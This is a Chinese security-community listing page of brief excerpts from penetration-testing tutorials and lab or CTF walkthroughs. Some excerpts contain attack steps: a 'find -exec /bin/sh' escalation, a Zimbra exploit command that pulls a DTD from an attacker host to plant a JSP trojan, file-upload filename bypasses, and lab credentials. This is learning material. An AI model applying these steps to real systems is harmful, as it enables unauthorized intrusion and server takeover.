登录社区云，与社区用户共同成长
邀请您加入社区
文件上传漏洞概述 文件上传漏洞是指当网站允许用户上传文件时，由于安全检测不足，攻击者可上传恶意脚本文件(如WebShell)并执行，从而控制服务器。利用条件包括：存在上传功能、允许上传可执行文件、上传目录有执行权限、能访问上传文件。 漏洞检测涉及多个环节： 前端检测：可通过禁用JS或抓包修改绕过 传输检测：利用编码/混淆绕过WAF 后端检测：包括扩展名、MIME类型、文件头、内容检测等 文件系统处
XSS（Cross-Site Scripting，跨站脚本攻击）是一种常见的网络安全漏洞，它允许攻击者在用户的浏览器上执行恶意脚本。这种攻击通常发生在攻击者将恶意脚本注入到一个信任的网站中，而该网站的内容会被其他用户浏览。• DOM型XSS：攻击者的脚本通过修改DOM（文档对象模型）来执行，不经过服务器，而是在客户端直接操作DOM。.• 反射型XSS：攻击者的脚本通过用户输入直接反射到页面上，通常
查看flag1文件，发现有提示，咱们寻找配置文件。Drupal的配置文件是网站根目录下的/site/defaultx下的setting.php文件，所以接下来进入sites目录下，接着进入default目录，查看settings.php文件。找查什么文件不重要（但是是存在的文件），只需要格式对，然后后面加上 -exec "/bin/sh" \;发现有22端口和80端口和111端口开启，并且80端口
Web渗透技术的核心是发现Web漏洞，发现漏洞有手工和软件自动化扫描两种方式。对于用户验证漏洞、用户凭证管理问题、权限特权及访问控制漏洞、缓存漏洞、跨站脚本漏洞、加密漏洞、路径切换漏洞、代码注入漏洞、配置漏洞、数据和信息泄露、输入验证码漏洞、操作系统命令脚本注入、资源管理漏洞、SQL注入等常见Web漏洞，都可以通过Web扫描器进行扫描。
sql server 默认安装后，会发现有一个 sqlps.exe：此文件本身自带微软签名：sqlps的功能，竟然是！启动 powershell？？？而且由于此文件无依赖，因此可以单独取出在无sql server机器上运行。
今年是2024年，刚过完春节后的第二个工作日，从去年的暑假开始入职，已经有超半年时间了，比起那时候啥都不会的小白，现在起码是懂一点的小白了，过年前的几天还因调休请假的事情给领导产生了不好的印象。啥也没有的我，不指望可以顺利转正了，只保佑可以开心的度过剩下的半年时间。根据去年的网络安全大厂的经济状况，不出意外，去年的年会草草结束和今年的开工红包都没有了，也不知道这行该怎么走下去了。
edu渗透测试
exec() #不输出结果，返回最后一行shell结果，所有结果保存到一个返回数组里。passthru() #只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。popen()、proc_open() #不会直接返回执行结果，而是返回一个文件指针。shell_exec() #通过shell执行命令并以字符串的形式返回完整的输出。system() #输出并返回最后一行shell结果。%a%%
计算机专业的同学都应该接触了解过，这部分可以直接略过。没学过的同学也不要慌，可以去B站搜索相关视频，你搜关键词网络安全工程师会出现很多相关的视频教程，我粗略的看了一下，排名第一的视频就讲的很详细。不明来历的网页、电子邮件链接、附件中，很可能隐藏着大量的病毒、木马，一旦打开，这些病毒、木马会自动进入电脑并隐藏在电脑中，会造成文件丢失损坏甚至导致系统瘫痪。从时代发展的角度看，网络安全的知识是学不完的，
接下来使用kali的dirb爆破目录，发现了wordpress目录，说明网站使用了wordpress建站，所以我们一会可以使用wordpress的克星wpscan来扫描。扫描到两个用户名，steven和michael，接下来我们使用hydra对michael用户的ssh密码进行爆破，这里我们使用rockyou.txt字典。尝试了一下sudo提权，发现需要密码，切换目录并查看，命令：cd /var/
全球每39秒就有一次黑客攻击尝试2025年勒索软件攻击平均每11秒发生一次一封钓鱼邮件的平均打开率高达30%——也就是说，你公司100个人里有30个人会点74%的数据泄露始于人的因素——不是技术不够强，是人不够警惕一次成功的勒索软件攻击，中小企业平均恢复成本超过20万美元，60%的企业在6个月内倒闭你可能觉得：“我们公司又没什么值钱的数据，黑客攻击我们干嘛？错了。现在的攻击早就不是"挑肥拣瘦"了，
Armitage 的出现，就像给 Metasploit 装上了可视化 “仪表盘”—— 这款由 Raphael Mudge 开发的开源 GUI 工具，将 Metasploit 的核心功能全部图形化，既降低了学习成本，又提升了专业渗透测试的效率。本文将从 Armitage 的核心价值出发，结合 Kali Linux 环境，手把手教你掌握这款工具的安装、配置与实战技巧。
本文主要介绍了钓鱼网站的原理及简单制作过程
本文揭示了Windows系统存在的多个高危漏洞及防御措施：1）300毫秒提权漏洞利用DLL劫持实现权限提升；2）BitLocker物理接触破解漏洞可通过恢复模式获取密钥；3）内核双取漏洞导致内存溢出；4）NTLM凭证窃取漏洞；5）系统工具劫持攻击；6）SMB中继攻击。防御建议包括：及时打补丁、最小权限原则、禁用非必要服务、启用CredentialGuard和SMB签名、部署EDR监控等。文章强调网
本文介绍了三种搭建靶场环境的方法：基于Docker、小皮面板和LNMP。Docker方法包括配置代理、下载Nginx镜像和Vulhub漏洞环境；小皮面板提供了图形化搭建方式；LNMP方法详细讲解了源码安装Nginx和PHP的步骤，包括依赖安装、编译配置和PHP-FPM服务设置。三种方式均配有操作截图，其中LNMP部分还包含了PHP测试文件的配置说明。文章提供了从基础环境搭建到具体服务配置的完整流程
HTA（HTML Application）文件是一种可以在 Windows 上执行的 HTML 应用程序。由于其特性，攻击者可以利用 HTA 文件来执行恶意代码。本指南将结合 Metasploit 框架，展示如何利用 HTA 文件进行渗透测试。
本文主要阐释了利用burpsuite进行验证码绕过，希望对你有所帮助咯。
利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。①SMB简介：是一个网络协议名，它能被用于Web连接和客户端与服务器之间的信息沟通SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上。②SMB端口：使用TCP139端口和TCP445端口。
反序列化漏洞也被称为"unserialization vulnerability"。它存在于那些允许将对象从字符串或二进制数据转换回原始对象的应用程序中。反序列化漏洞的问题在于，恶意用户可以构造特殊的序列化数据，通过应用程序的反序列化过程来执行恶意代码。这可以导致应用程序在反序列化过程中执行任意的代码，包括读取、修改或删除应用程序的敏感数据，或者在应用程序上下文中执行不受控制的操作。
由于本项目环境是nat模式需要项目IP地址，扫描挖掘本地的IP地址信息：image.png发现本kali ip为40段！image.png发现项目IP为152！image.pngimage.png以及smb2（windows445端口，共享用）利用！可以看到有很多容易受到攻击的端口都开着，FTP、NetBIOS、MySQL和运行Web服务器（Apache HTTPD）的端口12380等等！
随着国家政策的扶持，网络安全行业也越来越为大众所熟知，想要进入到网络安全行业的人也越来越多。为了拿到心仪的Offer之外，除了学好网络安全知识以外，还要应对好企业的面试。作为一个安全老鸟，工作这么多年，面试过很多人也出过很多面试题目，也在网上收集了各类关于渗透面试题目，里面有我对一些问题的见解，希望能对大家有所帮助。注：有一部分是根据回忆总结的，可能描述的有些问题。安全的体系很大，这些只是冰山一角
由于Apache Druid 默认情况下缺乏授权认证，攻击者可直接构造恶意请求执行任意代码，控制服务器。druid未授权命令执行漏洞复现(CVE-2021-25646)
近年来，敏感数据泄露已经成为了一最常见、最具影响力的攻击，一般我们的敏感信息包括密码、财务数据、医疗数据等，由于web应用或者API未加密或不正确的保护敏感数据，这些数据极易遭到攻击者利用，攻击者可能使用这些数据来进行一些犯罪行为，因此，未加密的信息极易遭到破坏和利用，不久前就爆出过Facebook泄露了用户的大量信息，以及12306也多次泄露用户的信息。现在信息泄露已经成为了owasp top
网络安全等级保护制度是国家网络安全保障的基本制度、基本策略、基本方法。最新的网络安全等级保护标准已于2019年12月1日起正式实施（简称“等保2.0”）。等保2.0依旧采用“一个中心，三重防护”的技术理念，并在原标准基础上提出新的技术要求和管理要求，如可信技术、云计算、物联网等新兴领域的安全扩展要求等。因此，用户在安全防护体系建设、风险评估和安全管理上需要更加全面，并关注所在行业的安全要求和定级标
计算机中的每个账号(如果是域服务器，则为域内的每个账号)的用户名和密码都存储在sam文件中，当计算机运行时，该文件对所有账号进行锁定，要。这是一个非常重要的设计原则，因为如果密码以明文形式存储，那么任何能够访问存储位置的人或程序都可以轻易地获取到密码，这显然是不安全的。在验证过程中，LSA可能会调用相应的验证程序包（如msv1_0.dll），对用户输入的信息进行处理，并与存储在SAM（安全账户管理
在复现的过程中我也出现了许多的问题，最后发送bp改过的数据包之后，一直无法获取shell，也无法创建文件。后来发现是java和javac的版本问题，一定要保证二者都是1.8的版本！其他fastjson的漏洞原理相似，只不过是增加了一下黑白名单的过滤，也存在对应的绕过方法，大家可以CSDN上再搜一搜，有很多相关文章。
为了帮助大家更好的学习网络安全，我给大家准备了一份网络安全入门/进阶学习资料，里面的内容都是适合零基础小白的笔记和资料，不懂编程也能听懂、看懂，所有资料共282G，朋友们如果有需要全套网络安全入门+进阶学习资源包，可以点击免费领取（如遇扫码问题，可以在评论区留言领取哦）~😝有需要的小伙伴，可以点击下方链接免费领取或者V扫描下方二维码免费领取🆓👉CSDN大礼包🎁：全网最全《网络安全入门&进阶
在某次攻防当中，通过打点发现了一台nacos，经过测试之后发现可以通过弱口令进入到后台，可以查看其中的配置信息通过翻看配置文件，发现腾讯云的AK,SK泄露，以及数据库的账号密码。操作不就来了么，直接上云！利用CF工具加上之前的AK，SK配置信息，创建腾讯云控制台账号密码，登录后直接上云！翻看腾讯云的资源信息，发现5个存储桶，这一波直接加大分还可以看一下账单信息，看看购买了什么资源在私有网络当中，发
2023年勒索软件、供应链攻击、地缘政治冲突与黑客活动主义、国家黑客间谍与APT组织活动成为网络安全的热点话题，生成式人工智能技术的武器化更是给动荡的全球网络安全威胁态势增加了不确定性、不对称性和复杂性。即将到来的2024年，随着网络犯罪的规模化和新兴网络威胁的快速增长，防御者将面临前所未有的艰巨挑战。根据Cybersecurity Ventures的预测，到2024年底，网络攻击给全球经济造成的
通常我们面对SQL注入过程中没有回显的情况时,只能通过盲注的方式来判断是否存在SQL注入，但是,使用盲注,需要花费大量时间进行测试,并且还可能需要对目标服务器发送大量请求,这会导致我们的IP容易被目标服务器封掉.
注意我们已经将kali的6667和vps的6667关联，所以其实web1的6667最终流量会到达kali，注意监听器需要设置为web1的内网ip，通过http连接。通过win7（pc1）横向渗透，抓取hash和明文可以抓取到域内用户bunny的密码值，上传fscan对93c段进行扫描。反弹shell,这里需要将kali的监听端口转发到web1上，然后让web2来连接web1。拿到web2的syst
这台靶机结合了很多渗透测试的知识，可以让你充分了解反弹shell的原理及用法
摘要：通过目录扫描发现目标网站存在文件上传漏洞，成功上传PHP木马获取权限。内网渗透发现双网卡环境，使用Fscan扫描内网并搭建隧道访问10.0.0.*网段。在10.0.0.222服务器发现FCKeditor组件存在文件上传漏洞，通过修改上传文件后缀名绕过限制，最终利用哥斯拉工具成功连接。整个渗透过程涉及外网突破、内网横向移动和漏洞利用等多个环节。
1.扫描一下开启端口2.漏洞扫描发现ms17-010永恒之蓝漏洞3.漏洞利用进入MSF控制台msfconsole寻找我们刚才扫描到的0代表着永恒之蓝攻击模块，用于攻击目标用户加载扫描模块use 0运行成功会出现meterpreter控制台，并在结尾处出现 WIN 这时候我们就已经拿到权限并且可以使用。
用户名：admin 密码：$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu。然后在桌面打开终端然后开启http服务，将下载好的文件导入到DC-3靶机里。在此文件中给出关键信息，只要获得root权限，就可以得到flag。从非交互式shell变为交互式shell，这里使用python。于是回到网页上传页面，创建了一个反弹shell
漏洞名：MS12-020（全称：Microsoft windows远程桌面协议RDP远程代码执行漏洞）MS12-020是一个针对远程桌面(RDP)协议的漏洞，其最严重的情况可能会造成远程执行代码，而通常情况下会造成对方蓝屏。
以上便是我学习的简单地从外网获取shell，经过提权或不提权直接进行内网渗透的一个简单过程，其中涉及一些概念问题没有说的很明白，希望表哥们提点提点。以上仅为个人学习过程，可能知识点过于简单，望理解。为了帮助大家更好的学习网络安全，小编给大家准备了一份网络安全入门/进阶学习资料，里面的内容都是适合零基础小白的笔记和资料，不懂编程也能听懂、看懂，所有资料共282G，朋友们如果有需要全套网络安全入门+进
小编的文章仅学习使用，同时记录小编的学习笔记；如有错漏恳请大神指点，如遇问题可在评论区交流；切勿用于非法行为。
对于初学者来说，了解网络安全的入门知识是非常重要的。以下是我推荐的10本入门网络安全必看的书籍。
此教程为纯技术分享！本教程的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本教程的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失。！！！
🔥 全网超适配小白的网络安全零基础保姆级教程，拒绝碎片化学习、拒绝无效啃书！很多新手入门网络安全都会踩坑：刷了几十篇碎片化教程、囤了几百G资源，学了半个月还是只会敲简单命令，看不懂攻防原理、不会实操落地，越学越迷茫。其实网安入门根本不用死磕晦涩理论、不用盲目学复杂工具！网络安全是重逻辑、重实操、循序渐进的技术领域，只要找对学习路径、搭建好学习体系，零基础小白也能快速入门、上手实战。本文结合主流网
摘要：实验通过Kali Linux攻击机对AdmX_new靶机(192.168.69.157)进行渗透测试。首先使用nmap扫描发现80端口，通过dirb扫描发现WordPress目录。利用BurpSuite替换响应中的内网IP使页面正常显示，爆破获得后台密码(admin/adam14)。上传恶意插件获取Webshell后建立Python反弹Shell，发现wpadmin用户可无密码使用sudo
最近在PortsSwigger上做网络空间安全的实验，有很多实验一开始看了前面的理论指导后都还是会有完全摸不着头脑的感觉，找了网上也没有看到能具体把这个实验讲明白的教程。撞墙了很多次终于摸索出来了这个实验，浅浅记录一下和大家分享经验。说的有问题的地方也欢迎大家指正～
51单片机开发的自行车里程测速项目，包括程序源码和原理图，详细制作说明！使用霍尔传感器获得脉冲信号，对脉冲信号进行计数。实现里程，速度测试和显示。程序源码注释详细最近心血来潮，捣鼓了一个基于 51 单片机的自行车里程测速项目。这个项目挺有趣的，能实时显示自行车的行驶里程和速度，下面就和大家分享一下详细的制作过程，包含程序源码、原理图还有具体的制作说明。
，保存为 shell.jpg （伪装图片格式）。- 修改方式： filename="shell.Php" 、 filename="shell.PHP" 、 filename="SHELL.php" ，利用Windows/Linux大小写敏感度差异绕过。- 修改方式：将 php 拆分为双写形式，如 filename="shell.pphphp" ，服务端过滤第一个“php”后，剩余字符拼接为“php
摘要：XSS攻击防护需要前后端协同配合，形成多层防御体系。前端主要负责防护反射型和DOM型XSS，即使后端已有防护，前端仍需进行输入验证、转义处理和使用安全API。主要防护措施包括：输入验证与转义、CSP策略实施、白名单验证等。最佳实践强调开发阶段的安全审查、部署阶段的环境隔离和CSP配置、运维阶段的监控更新以及应急响应机制。安全防护需要持续改进，不能依赖单一防护措施。
渗透测试作为网络安全防御体系的重要环节，其核心不仅在于技术漏洞的挖掘，更在于对“人”这一安全链条中最薄弱环节的深度理解。当攻击者绕过防火墙、入侵检测系统等传统技术防护手段时，往往通过操纵目标用户的心理认知与行为模式达成入侵——这种基于心理学和人性研究的“社会工程学攻击”，已成为现代渗透测试中不可忽视的关键维度。本文将结合心理学原理、人性弱点分析及典型攻防案例，系统探讨心理学与人性研究在渗透测试中的
Apache CXF 是一个开源的服务框架，帮助开发者使用 JAX-WS 和 JAX-RS 等前端编程 API 构建和开发服务。Apache CXF 在 4.0.4、3.6.3 和 3.5.8 版本之前存在一个使用 Aegis DataBinding 的 SSRF 漏洞，该漏洞允许攻击者对接受至少一个任意类型参数的 Web 服务执行 SSRF 攻击。此漏洞专门影响使用 Aegis DataBind
3.生成含有木马的.jsp文件，命名为MM.jsp，语句为：python3 zimbra.py -u https://192.168.42.131 -d http://192.168.42.128:8686/exp.dtd -n Hh -f MM.jsp。扫描该站点目录：dirsearch -u https://192.168.42.131 ，看看有什么有用的信息，发现没什么有用信息。2.将抓到的
SQL注入是最常见的注入攻击类型之一，攻击者通过在输入字段中插入恶意的SQL代码来改变原本的SQL逻辑或执行额外的SQL语句，来操控数据库执行未授权的操作（如拖库、获取管理员信息、获取 WebShell权限等）。XSS攻击允许攻击者在用户的浏览器中执行恶意脚本，通常用于窃取用户的会话信息、Cookies等。应用程序包含反射式输入类型时容易出现跨站脚本攻击。比如弹出一个假的窗口骗取用户信息。命令注入
网络攻击模型
——网络攻击模型
联系我们（工作时间：8:30-22:00）
400-660-0108 kefu@csdn.net
乐奇 Rokid 开放社区
天工造物局
